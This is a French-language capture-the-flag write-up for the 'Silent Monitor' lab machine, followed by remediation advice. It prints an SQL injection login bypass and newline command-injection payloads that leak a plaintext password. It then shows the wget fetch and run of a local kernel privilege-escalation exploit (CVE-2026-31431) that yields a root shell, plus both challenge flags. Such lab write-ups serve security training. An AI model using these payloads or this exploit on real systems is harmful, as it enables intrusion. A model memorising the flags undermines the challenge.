Write-up - Silent Monitor
Write-up - Silent Monitor
La cible est la machine CTF Silent Monitor (10.128.147.105). Le chemin d’exploitation suivi repose sur une authentification web contournée, une injection de commande dans une sonde de supervision, puis une élévation de privilèges locale sur le noyau Linux.
Synthèse
La compromission suit la chaîne suivante :
- énumération réseau et découverte d’un portail NOC sur le port
5050 - contournement de l’authentification du portail par injection SQL
- abus de la fonctionnalité Host Health Check pour exécuter des commandes via injection de retour à la ligne
- lecture d’un fichier de configuration exposant le mot de passe du compte
sysadmin - connexion SSH avec
sysadminet récupération du flag utilisateur - identification du noyau
6.8.0-1017-aws - recherche d’un exploit local, échec de la copie exploit-db, puis utilisation du binaire fourni par l’auteur
- élévation de privilèges vers
rootavec CVE-2026-31431 et récupération du flag final
Reconnaissance
Le scan TCP complet montre uniquement deux ports ouverts : SSH sur 22/tcp et l’application NOC sur 5050/tcp.
1
2
TARGET=10.128.147.105
nmap -p- -Pn -oA "$TARGET"_full_ports --min-rate 1000 "$TARGET"
L’énumération de contenu web sur le port 5050 révèle notamment une route /internal.
1
ffuf -c -w /usr/share/dirb/wordlists/common.txt -u "http://$TARGET:5050/FUZZ"
Contournement de l’authentification
Le portail CORPNET NOC expose une page de connexion opérateur. Le formulaire accepte une injection SQL simple dans le champ username.
1
' OR 1=1--
Cette injection ouvre une session opérateur netops et donne accès au tableau de bord interne. Le tableau de bord liste plusieurs services, dont une API NOC sur 0.0.0.0:5050, un collecteur SNMP local, un agent de backup local et une fonctionnalité de health check.
Injection de commande dans le health check
La page Host Health Check permet de lancer une sonde ICMP vers une cible fournie par l’opérateur.
Le paramètre target est utilisé dans une commande ping. En injectant un retour à la ligne URL-encodé (%0a), il est possible d’ajouter une commande après la cible ICMP.
1
target=127.0.0.1%0aid
La réponse confirme une exécution en tant que www-data.
Une énumération du répertoire applicatif montre les fichiers suivants :
1
target=127.0.0.1%0als
1
2
3
4
app.py
netops.db
secret.config
templates
Le fichier secret.config contient la configuration applicative et expose un compte de service utilisé par l’agent de backup.
1
target=127.0.0.1%0acat secret.config
1
2
3
[backup_agent]
run_as = sysadmin
password = S3curBackup$Acc3ss!
Accès SSH sysadmin
Le mot de passe récupéré dans secret.config est réutilisable pour se connecter en SSH avec le compte sysadmin.
1
ssh sysadmin@$TARGET
Le compte sysadmin permet de lire le flag utilisateur.
1
2
3
id
ls
cat user.txt
Flag obtenu :
1
THM{sQ1i_4nd_cMd_1nj3ct10n_13D_y@u_h3re!}
Le répertoire backups contient aussi une base KeePass infrastructure.kdbx. Elle confirme la présence d’exports de secrets d’infrastructure, mais le chemin utilisé ici pour obtenir root passe ensuite par l’élévation de privilèges noyau.
1
2
cat backups/README.txt
file backups/infrastructure.kdbx
Recherche d’élévation de privilèges
La version du noyau est 6.8.0-1017-aws sur Ubuntu 22.04.
1
uname -a
Une recherche searchsploit sur Linux Kernel 6.8 identifie un exploit local :
1
searchsploit linux kernel 6.8
L’entrée pertinente est Linux/local/52573.py, associée à Linux Kernel 6.8 - Local Privilege Escalation.
1
searchsploit -x Linux/local/52573.py
Entre cette étape et la récupération du binaire final, j’ai d’abord essayé l’exploit récupéré via searchsploit depuis exploit-db. Cette copie n’était pas fonctionnelle dans l’environnement de la machine. Elle était également marquée Verified: False, et son conditionnement local ne permettait pas une exploitation propre.
Le fichier exploit-db indique toutefois l’auteur et le projet original :
1
Exploit Author: Long Fong Chan (https://github.com/iss4cf0ng)
J’ai donc récupéré la release fournie directement par l’auteur :
1
https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
La documentation de la release fournit les binaires précompilés x86 et x64, ainsi que les modes --test et --exploit.
Élévation de privilèges avec CVE-2026-31431
Le binaire CVE-2026-31431-Linux-Copy-Fail_x86 est transféré depuis la machine attaquante vers la cible.
1
wget http://192.168.153.192/CVE-2026-31431-Linux-Copy-Fail_x86
Après ajout du bit d’exécution, le mode --test confirme que la cible est vulnérable.
1
2
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
./CVE-2026-31431-Linux-Copy-Fail_x86 --test
Le mode --exploit ouvre ensuite un shell root.
1
2
3
4
5
./CVE-2026-31431-Linux-Copy-Fail_x86 --exploit
id
cd /root
ls
cat root.txt
Flag obtenu :
1
THM{KDBx_V4u17_H4s_b33n_cr4ck3d_OpeN}
Tableau récapitulatif des flags
| Étape | Vulnérabilité principale | Flag |
|---|---|---|
| Utilisateur | SQLi, injection de commande, fuite du mot de passe sysadmin | THM{sQ1i_4nd_cMd_1nj3ct10n_13D_y@u_h3re!} |
| Root | CVE-2026-31431 sur Linux kernel 6.8 | THM{KDBx_V4u17_H4s_b33n_cr4ck3d_OpeN} |
Causes racines et remédiations
- Paramétrer les requêtes SQL et refuser toute concaténation directe d’entrées utilisateur dans l’authentification.
- Restreindre l’accès aux routes
/internalavec une authentification robuste, des rôles serveur et des journaux exploitables. - Ne jamais construire une commande système avec une entrée utilisateur brute ; utiliser des appels sans shell, une allowlist stricte de cibles et une validation IP/hostname côté serveur.
- Retirer les secrets applicatifs du répertoire web et stocker les identifiants dans un gestionnaire de secrets.
- Ne pas réutiliser les mots de passe de comptes de service pour des comptes SSH interactifs.
- Protéger les exports KeePass et les répertoires de backup avec des permissions minimales.
- Maintenir le noyau Linux à jour et appliquer rapidement les correctifs de sécurité locaux.
Conclusion
Silent Monitor illustre une chaîne web-to-root classique : une authentification fragile donne accès à une fonctionnalité interne, l’injection de commande expose un secret de service, puis la réutilisation de ce secret permet un accès SSH. L’élévation de privilèges finale repose sur un noyau vulnérable à CVE-2026-31431. La copie exploit-db trouvée via searchsploit n’a pas été exploitable directement ; la release publiée par l’auteur a fourni le binaire fonctionnel utilisé pour terminer la machine.


















